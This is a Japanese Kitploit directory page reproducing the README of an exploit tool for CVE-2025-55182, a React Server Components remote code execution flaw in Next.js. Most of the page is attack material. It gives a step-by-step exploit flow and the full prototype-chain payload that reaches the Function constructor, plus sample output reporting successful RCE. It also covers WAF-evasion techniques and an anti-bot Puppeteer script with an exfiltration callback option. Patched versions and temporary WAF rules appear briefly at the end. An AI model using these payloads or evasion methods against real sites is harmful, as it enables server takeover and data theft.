Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-bypass — CVE-2025-55182(React Server Components RCE)向けのヘッダーバイパス | Kitploit
ツール/GitHubGitHub/ejpir/cve-2025-55182-bypass
脆弱性分析エクスプロイトIDS/IPS回避ウェブアプリケーション悪用WAFバイパスペネトレーションテストレッドチーミングペイロード開発
GitHubejpir/cve-2025-55182-bypass

CVE-2025-55182-bypass

CVE-2025-55182(React Server Components RCE)向けのヘッダーバイパス

リポジトリを見る
6339ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 Header Bypass

CVE-2025-55182 の Next-Action ヘッダーバイパス。特徴的なヘッダーなしで React RSC RCE を達成し、WAF ルールを回避します。

重要な発見

Next-Action ヘッダーは 必須ではありません。

攻撃ベクトルNext-Action ヘッダーWAF 検出
元の CVE必須検出可能
このバイパス不要ヘッダールールを回避

仕組み

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        オリジナルエクスプロイト(ヘッダーあり)                 │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Next-Action: <action-id>  ← ヘッダー必須                                  │
│  Content-Type: multipart/form-data                                          │
│                                                                             │
│  isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE       │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│                        ヘッダーバイパス(ヘッダーなし)                      │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data  ← Next-Action ヘッダーなし!             │
│                                                                             │
│  isMultipartAction = true → decodeAction() → loadServerReference()          │
│      → Promise.all([bound]) → bound.then() → RCE                            │
└─────────────────────────────────────────────────────────────────────────────┘

根本原因

root@kitploit:~
const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;

if (isMultipartAction && !isFetchAction) {
    const action = await decodeAction(formData, serverModuleMap); // バイパス経路
    await action();  // RCE
}

エクスプロイトの流れ

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│  ステップ 1: アクション ID を抽出                                              │
│  GET / → hidden 入力から抽出: <input name="$ACTION_ID_<40-hex>"/>           │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  ステップ 2: エクスプロイトを送信(Next-Action ヘッダーなし)                  │
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data; boundary=x                              │
│                                                                             │
│  $ACTION_REF_0: x                                                           │
│  $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"}                            │
│  $ACTION_0:1: <エクスプロイトペイロード>                                      │
│  $ACTION_0:2: "$@1"                                                         │
│  $ACTION_0:3: []                                                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  ステップ 3: Thenable チェーン実行                                            │
│                                                                             │
│  bound: "$@1" → Chunk(1)                                                    │
│      → Promise.all([bound]) が bound.then() を呼び出し                       │
│      → then: "$2:__proto__:then" → Chunk.prototype.then()                   │
│      → initializeModelChunk() → "$B1337" ハンドラ                            │
│      → _formData.get = "$2:constructor:constructor" → Function              │
│      → Function(RCE_CODE) → コード実行                                      │
└─────────────────────────────────────────────────────────────────────────────┘

出力例

root@kitploit:~
❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 Header Bypass - 2-Step Exploit
============================================================
Target: http://localhost:3000/

[Step 1] Fetching page to extract action IDs...
 ✓ Compiled / in 1105ms (523 modules)
[+] Found 1 action ID(s):
    c1cfa77a4481950d44c534f3a8174689deaefe80

[Step 2] Sending exploit payload (NO Next-Action header)...

------------------------------------------------------------
REQUEST HEADERS:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(NO Next-Action header!)

------------------------------------------------------------
REQUEST BODY (multipart form):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (metadata): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (exploit):  {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (circular): "$@1"
$ACTION_0:3 (empty):    []

============================================================
*** RCE SUCCESSFUL! ***
============================================================
Proof: 2-STEP RCE SUCCESS 1765143043451

ペイロード構造

root@kitploit:~
// $ACTION_0:0 - アクションメタデータ
{"id": "<40-char-action-id>", "bound": "$@1"}

// $ACTION_0:1 - エクスプロイトオブジェクト
{
  "then": "$2:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<RCE_CODE>//",
    "_chunks": "$Q3",
    "_formData": {"get": "$2:constructor:constructor"}
  }
}

// $ACTION_0:2 - 循環参照
"$@1"

// $ACTION_0:3 - Map 用の空配列
[]

WAF 回避手法

手法方法テスト済み
チャンクパディング64KB+ のパディングで WAF バッファを枯渇✓ RCE
Unicode エスケープthen を \u0074\u0068\u0065\u006e に変換✓
URL エンコードされた名前%24ACTION_REF_0✓
変数インデックス$ACTION_REF_abc、$ACTION_XyZ:0✓ RCE

チャンク転送とパディング

root@kitploit:~
POST / HTTP/1.1
Transfer-Encoding: chunked

10200                         ← 64KB パディング
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0

影響を受けるバージョン

パッケージ脆弱なバージョン修正済みバージョン
react-server-dom-webpack19.0.0 - 19.2.019.0.1+、19.1.2+、19.2.1+
Next.js15.x、16.x15.0.5+、15.1.9+、15.2.6+、15.3.6+、15.4.8+、15.5.7+、16.0.7+

テスト

root@kitploit:~
npm install
npm run build && npm run start

# エクスプロイト実行
node test-chunked-v14.cjs      # AWS WAF テスト用
node test-bypass-2step.cjs     # 2ステップ自動化

# 確認
cat /tmp/2STEP-RCE.txt

Antibot バイパス(Puppeteer)

JS チャレンジ(Vercel、Cloudflare など)があるターゲット向けに、Puppeteer ベースのエクスプロイトを使用します:

root@kitploit:~
node antibot.cjs [options]

Options:
  -t、--target <host>     ターゲットホスト名
  -p、--port <port>       ターゲットポート
  -c、--callback <url>    データ流出用のコールバック URL
  --http                  HTTP を使用(HTTPS の代わり)
  --https                 HTTPS を使用(デフォルト)
  -h、--help              ヘルプ表示

使用例:
  node antibot.cjs -t example.vercel.app
  node antibot.cjs -t localhost -p 3000 --http
  node antibot.cjs -t target.com -c https://callback.example.com/exfil

修正方法

パッチ適用が唯一の信頼できる修正方法です。

一時的な WAF ルール

  1. ボディ内の $ACTION_REF_ プレフィックスをブロック(最初に URL デコード)
  2. $ACTION_[^:]+: 正規表現パターンをブロック
  3. マッチング前に Unicode を正規化
  4. 大きなフィールド(>8KB)はスキップし、小さなフィールドの解析を継続

クレジット

  • 元の CVE-2025-55182: Assetnote Research (react2shell.com)
  • エクスプロイトチェーン: maple3142
  • ヘッダーバイパスの発見: 独立した研究

参考文献

  • CVE-2025-55182
  • Next.js セキュリティアドバイザリ
  • AWS WAF ルール
ツールをダウンロード